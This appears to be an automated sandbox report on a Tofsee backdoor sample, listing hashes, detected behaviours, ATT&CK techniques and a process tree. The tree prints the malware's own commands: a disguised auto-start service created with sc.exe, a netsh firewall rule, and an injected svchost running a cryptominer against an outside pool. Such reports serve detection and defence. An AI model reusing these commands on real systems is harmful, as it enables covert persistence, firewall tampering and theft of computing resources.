Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    15-11-2020 23:22

General

  • Target

    9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83.exe

  • Size

    14.9MB

  • MD5

    8d70d33692835a054cc3d98b593dd05a

  • SHA1

    bf1cec9d3ab53be4827076e2d15313e6fe8e99e6

  • SHA256

    9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83

  • SHA512

    cf9536aea51c3d22385323ea4401d55570dd3235daf202d9775c4d3c223e38d56e48c20e07858f2ce086d080dad1cf5a19a1abd590b3728794775609a9f7996f

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83.exe
    "C:\Users\Admin\AppData\Local\Temp\9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\iidujoqx\
      2⤵
        PID:1296
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sjrpzubp.exe" C:\Windows\SysWOW64\iidujoqx\
        2⤵
          PID:1420
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create iidujoqx binPath= "C:\Windows\SysWOW64\iidujoqx\sjrpzubp.exe /d\"C:\Users\Admin\AppData\Local\Temp\9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:300
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description iidujoqx "wifi internet conection"
            2⤵
              PID:1456
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start iidujoqx
              2⤵
                PID:1088
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:528
            • C:\Windows\SysWOW64\iidujoqx\sjrpzubp.exe
              C:\Windows\SysWOW64\iidujoqx\sjrpzubp.exe /d"C:\Users\Admin\AppData\Local\Temp\9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1676
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1184
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1584

            Network

            MITRE ATT&CK Matrix ATT&CK v6

            Persistence

            New Service

            1
            T1050

            Modify Existing Service

            2
            T1031

            Registry Run Keys / Startup Folder

            1
            T1060

            Privilege Escalation

            New Service

            1
            T1050

            Defense Evasion

            Disabling Security Tools

            1
            T1089

            Modify Registry

            3
            T1112

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\sjrpzubp.exe
              MD5

              8e7ec25f3cb384e727b581d692e84115

              SHA1

              31920f031ac356717caba0f101a05bd3ec6369e0

              SHA256

              678b54f5fc5fab1e479874f0d5fa916c6ba833f1ac64e3bcceea8b55c277899a

              SHA512

              f8340b52b448b8c51e1f5789ab544cef08f0bdac7b3cecff50308e2bc8a8d4cc4e02ccc22ee887db75b110e0571f34da268b87a9334e48caca47176ced7a8bef

            • C:\Windows\SysWOW64\iidujoqx\sjrpzubp.exe
              MD5

              8e7ec25f3cb384e727b581d692e84115

              SHA1

              31920f031ac356717caba0f101a05bd3ec6369e0

              SHA256

              678b54f5fc5fab1e479874f0d5fa916c6ba833f1ac64e3bcceea8b55c277899a

              SHA512

              f8340b52b448b8c51e1f5789ab544cef08f0bdac7b3cecff50308e2bc8a8d4cc4e02ccc22ee887db75b110e0571f34da268b87a9334e48caca47176ced7a8bef

            • memory/300-5-0x0000000000000000-mapping.dmp
            • memory/528-9-0x0000000000000000-mapping.dmp
            • memory/1088-7-0x0000000000000000-mapping.dmp
            • memory/1184-17-0x0000000000160000-0x0000000000166000-memory.dmp
              Filesize

              24KB

            • memory/1184-20-0x00000000058A0000-0x0000000005CAB000-memory.dmp
              Filesize

              4.0MB

            • memory/1184-21-0x0000000000230000-0x0000000000237000-memory.dmp
              Filesize

              28KB

            • memory/1184-19-0x0000000000220000-0x0000000000225000-memory.dmp
              Filesize

              20KB

            • memory/1184-18-0x00000000001D0000-0x00000000001E0000-memory.dmp
              Filesize

              64KB

            • memory/1184-16-0x0000000001B60000-0x0000000001D6F000-memory.dmp
              Filesize

              2.1MB

            • memory/1184-14-0x0000000000089A6B-mapping.dmp
            • memory/1184-13-0x0000000000080000-0x0000000000095000-memory.dmp
              Filesize

              84KB

            • memory/1296-2-0x0000000000000000-mapping.dmp
            • memory/1420-3-0x0000000000000000-mapping.dmp
            • memory/1456-6-0x0000000000000000-mapping.dmp
            • memory/1584-22-0x00000000000C0000-0x00000000001B1000-memory.dmp
              Filesize

              964KB

            • memory/1584-23-0x00000000000C0000-0x00000000001B1000-memory.dmp
              Filesize

              964KB

            • memory/1584-25-0x000000000015259C-mapping.dmp
            • memory/1676-12-0x0000000000F30000-0x0000000000F41000-memory.dmp
              Filesize

              68KB

            • memory/1676-11-0x0000000000B93000-0x0000000000B94000-memory.dmp
              Filesize

              4KB

            • memory/1700-0-0x00000000002B3000-0x00000000002B4000-memory.dmp
              Filesize

              4KB

            • memory/1700-1-0x00000000021D0000-0x00000000021E1000-memory.dmp
              Filesize

              68KB